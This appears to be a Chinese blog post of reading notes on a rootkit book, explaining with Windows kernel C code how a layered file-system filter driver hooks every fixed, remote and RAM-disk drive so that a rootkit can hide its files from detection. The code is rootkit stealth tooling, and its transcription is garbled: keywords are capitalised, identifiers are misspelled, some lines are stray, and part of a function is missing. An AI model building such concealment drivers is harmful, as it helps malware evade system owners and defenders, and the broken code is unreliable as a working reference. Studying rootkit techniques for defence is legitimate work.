`
wodamazi
  • 浏览: 1416492 次
文章分类
社区版块
存档分类
最新评论

读书笔记_Rootkit技术_文件过滤驱动程序(1)

 
阅读更多

分层驱动程序可应用于文件系统。出于潜行的需求,文件系统对于rootkit有着特殊的吸引力。许多rootkit需要在文件系统中存储文件,并且这些文件必须是隐藏的。可以使用钩子技术来隐藏文件,但这种方法容易被检测出来。另外,如果文件或目录安装在SMB共享系统上,那么钩住系统服务描述表(system service descriptor table,SSDT)并不能隐藏它们。下面来看通过分层驱动的方法来隐藏文件。

首先从驱动的入口函数DriverEntry例程来看:

NTSTATUSDriverEntry ( IN PDRIVER_OBJECT DriverObject,

IN PUNICODE_STRINGRegistryPath)

{

For ( i = 0; I <=IRP_MJ_MAXIMUM_FUNCTION; i++)

{

DriverObject->MajorFunctionp[i] =OurDispatch;

}

DriverObject->FastIoDispatch=&OurFastIOHook;

在DriverEntry例程中,是MajorFunction数组指向OurDispatch调度例程,还建立了一个FastIoDispatch调度表,这里可以看到文件系统驱动程序特有的一些内容。FastIo是文件系统程序的另一种通信方法。

准备好调度表后,下面必须钩住驱动器,调用HookDriveSet函数在所有可用得驱动器盘符上安装钩子:

DWORD d_hDrives= 0;

// Initializethe drives we will hool

For(I = 0;i< 26; i++)

DriveHookDevices[i] =NULL;

DriveToHook =0;

ntStatus =GetDrivesToHook(&d_hDrives);

if(!NT_SUCCESS(ntStatus))

return ntStatus;

HookDriveSet(d_hDrives,DriverObject);

以下代码用于获取钩住的驱动程序列表:

NTSTATUSGetDrivesToHook(DWORD *d_hookDrives)

{

NTSTATUS ntstatus;

PROCESS_DEVICEMAP_INFORMATION s_devMap;

DWORD MaxDriveSet, CurDriveSet;

Int drive;

If(d_hookDrives == NULL)

Return STATUS_UNSUCCESSFUL;

注意当前进程的句柄用法:

Ntstatus = ZwQueryInformationProcess(( HANDLE) 0xffffffff,

ProcessDeviceMap,

&s_devMap,

Sizeof(s_devMap),

NULL);

If(!NT_SUCCESS(ntstatus))

Return ntstatus;

// Get available drives we can monitor.

MaxDriveSet = s_devMap.Query.DriveMap;

CurDriveSet = MaxDriveSet;

For ( drive = 0; drive < 32; ++drive)

{

If(MaxDriveSet &(1<<drive))

{

Switch(s_devMap.Query.DriveType[drive])

{

首先处理要跳过的驱动器:

// We don’t like these: remove them.

Case DRIVE_UNKNOWN: // Thedrive type cannot be determined.

Case DRIVE_NO_ROOT_DIR; //The root directory does not exit.

curDriveSet &=~(1 <<drive);

break;

// The drive can be removed from the drive

// Doesn’t make sense to put hidden files on

// a removable drive because we will not

// necessarily control the computer that the

// drive is mounted on next.

Case DRIVE_REMOVABLE:

CurDriveSet &= ~(1<< drive);

Break;

// The drive is a CD-ROM drive

Case DRIVE_CDROM;

CurDriveSet &= ~(1<< drive);

Break;

将要钩住以下驱动器:DRIVE_FIXED,DRIVE_REMOTE和DRIVE_RAMDISK.

代码继续如下:

}

}

}

*d_hookDrives = CurDriveSet;

Return ntstatus;

}

钩住驱动器集合的代码如下:

ULONG HookDriveSet(IN ULONG DriveSet, IN PDRIVER_OBJECT DriverObject)

{

PHOOK_EXTENSION hookExt;

ULONG drive, I;

ULONG bit;

// Scan the drive table,looking for hits on the DriveSet bitmask.

For( drive = 0; drive <26; ++drive_

{

Bit = 1<< drive;

// Are we supposed to hookthis drive

If (( bit & DriveSet)&&!(bit &DrivesToHook))

{

If( !HookDrive( drive,DriverObject))

{

// remove from drive setif can’t be hooked

DriveSet &= ~bit;

}

Else

{

// Hook drives in samedrive group

For( I = 0; I < 26; i++)

{

If( DriveHookDevices[i] ==DriveHookDevices[ drive])

{

DriveSet |= (1<<i);

}

}

}

}

Else if ( !(bit & DriveSet)&&(bit & DrivesToHook) )

{

// Unhook this drive and all in the group

For ( I = 0; i<26; i++)

{

If( DriveHookDevices[i] ==DriveHookDevices[ drive])

{

UnhookDrive(i);

DriveSet &= ~(1<<i);

}

}

}

}

// return set of drives currently hooked.

DrivesToHook = DriveSet;

Return DriveSet;

}

对于单个驱动器挂上你和取下钩子的代码如下:
if(DriveHookDevices[Drive])

{

hookExt =DriveHookDevices[Drive]->DeviceExtension;

hookExt -> Hooked =FALSE;

}

}

BOOLEAN HookDrive ( IN ULONG Drive, IN PDRIVER_OBJECT DriverObject)

{

IO_STATUS_BLOCK ioStatus;

HANDLE ntFileHandle;

OBJECT_ATTRIBUTESobjectAttributes;

PDEVICE_OBJECTfileSysDevice;

PDEVICE_OBJECT hookDevice;

UNICODE_STRINGfileNameUnicodeString;

PFILE_FS_ATTRIBUTE_INFORMATIONfileFsAttributes;

ULONG fileFsAttributesSize;

WCHAR filename[] = L”\\DosDevices\\A:\\”;

NTSTATUS ntStatus;

ULONG I;

PFILE_OBJECT fileObject;

PHOOK_EXTENSIONhookExtension;

If(Drive >= 26)

Return FALSE; //Illegal drive letter

// Test whether we havehooked this drive

If ( DriveHookDevices [Drive] == NULL )

{

Filename[12] = (CHAR) ( ‘A’+ Drive); // Set up drive name

下面打开磁盘卷的根目录:

RtlInitUnicodeString(&fileNameUnicodeString, filename);

InitializeObjectAttributes(&objectAttributes,

&fileNameUnicodeString, OBJ_CASE_INSENSITIVE, NULL, NULL);

ntStatus = ZwCreateFile(&ntFileHandle,

SYNCHRONIZE | FILE_ANY_ACCESS,

&objectAttributes,

&ioStatus,

NULL,

0,

FILE_SHARE_READ |FILE_SHARE_WRITE,

FILE_OPEN,

FILE_SYNCHRONOUS_IO_NONALERT | FILE_DIRECTORY_FILE,

NULL,

0);

If ( ! NT_SUCCESS ( ntStatus ))

{

若程序无法打开驱动器,则返回“false”:

Return FALSE;

}

// Use file handle to look up the fileobject.

// If this is successful,

// we must eventually decrement the fileobject

ntStatus = ObReferenceObjectByHandle (ntFileHandle,

FILE_READ_DATA,

NULL,

KernelMode,

&fileobject,

NULL);

If( !NT_SUCCESS ( ntStatus))

{

若程序无法从句柄中获得文件对象,则返回“false”:

ZwClose ( ntFileHandle );

Return FALSE;

}

// Get the device object from the Fileobject

fileSysDevice = IoGetRelatedDeviceObject (fileObject );

if(!fileSysDevice)

{

若程序无法获取设备对象,则返回“flase”:

ObDereferenceObject(fileObject);

ZwClose (ntFileHandle);

Return FALSE;

}

// Check the device list to see if we arealready

// attached to this particular device

// This can happen when more than one driveletter

// is being handled by the same network

// redirector

For (I = 0; i<26; i++)

{

If( DriveHookDevices[i] == fileSysDevice )

{

// if we are already watching it

// associate this drive letter

// with the others that are handled

// by the same network driver. This enables us to intelligentlyupdate

// the hooking menus when the user specifies that one of the groupshould not be

// watched – we mark all of the related drives as unwantched aswell.

ObDereferenceObject(fileObject);

ZwClose(ntFileHandle);

DriveHookDevice[Drive] =fileSysDevice;

Return TRUE;

}

}

// The file system’s device hasn’t been hooked already, so make ahooking device object // that will be attached to it

ntStatus = IoCreateDevice(DriverObject,

sizeof(HOOK_EXTENSION),

NULL,

fileSysDevice->DeviceType.

fileSysDevice->Characteristics,

FALSE,

&hookDevice);

If( !NT_SUCCESS(ntStatus))

{

若程序无法创建相关的设备,则返回“false”:

ObDereferenceObject(fileObject);

ZwClose(ntFileHandle);

Return FALSE;

}

// Clear he device’s init flag

// If we do not clear this flag, it is speculated no one else wouldbe able to layer on top

// of us. This may be a useful feature in the future !

hookDevice->Flags &=~DO_DEVICE_INITIALIZEING;

hookDevice->Flags|=(fileSysDevice->Flags&(DO_BUFFERED_IO | DO_DIRECT_TO));

// Set up the device extensions. The drive letter and file system objectare stored in the

// extenson

hookExtension = hookDevice->DeviceExtension;

hookExtension->LogicalDrive = ‘A’ + Drive;

hookExtension->FileSystem = fileSysDevice;

hookExtension->Hooked = TRUE;

hookExtension->Type = STANDARD;

// Finally, attach to the device. As soon as we are successfullyattached, we may start

// receiving IRPs targeted at the device we are hooked.

ntStatus = IoAttachDeviceByPointer( hookDevice, fileSysDevice);

if( !NT_SUCCESS(ntStatus))

{

ObDereferenceObject (fileObject);

ZwClose(ntFileHandle);

Return FALSE;

}

// Determine whether this is an NTFS drive

fileFsAttributesSize = sizeof(FILE_FS_ATTRIBUTE_INFORMATION) +MAXPATHLEN;

hookExtension->FsAttributes = (PFILE_FS_ATTRIBUTE_INFORMATION)

ExAllocatePool(NonPagedPool, fileFsAttributesSize);

If(hookExtension->FsAttributes && !NT_SUCCESS (

IoQueryVolumeInformation ( fileObject, FileFsAttributeInformation,fileFSAttributesSize,

hookExtension->FsAttributes,

&fileFsAttributesSize)))

{

// On failure, we just don’thave attributes for this file system.

ExFreePool (hookExtesnion->FsAttributes_;

hookExtension->FsAttributes = NULL;

}

// Close the file and update the hooked drive list by entering apointer to the hook

// device object in it.

ObDereferenceObject ( fileObject);

ZwClose(ntFileHandle);

DriveHookDevices[Drive] = hookDevice;

}

Else // This drive is already hooked

{

hookExtension =DriveHookDevices[Drive]->DeviceExtension;

hookExtension ->Hooked =TRUE;

}

Return TRUE;

}

;

分享到:
评论

相关推荐

Global site tag (gtag.js) - Google Analytics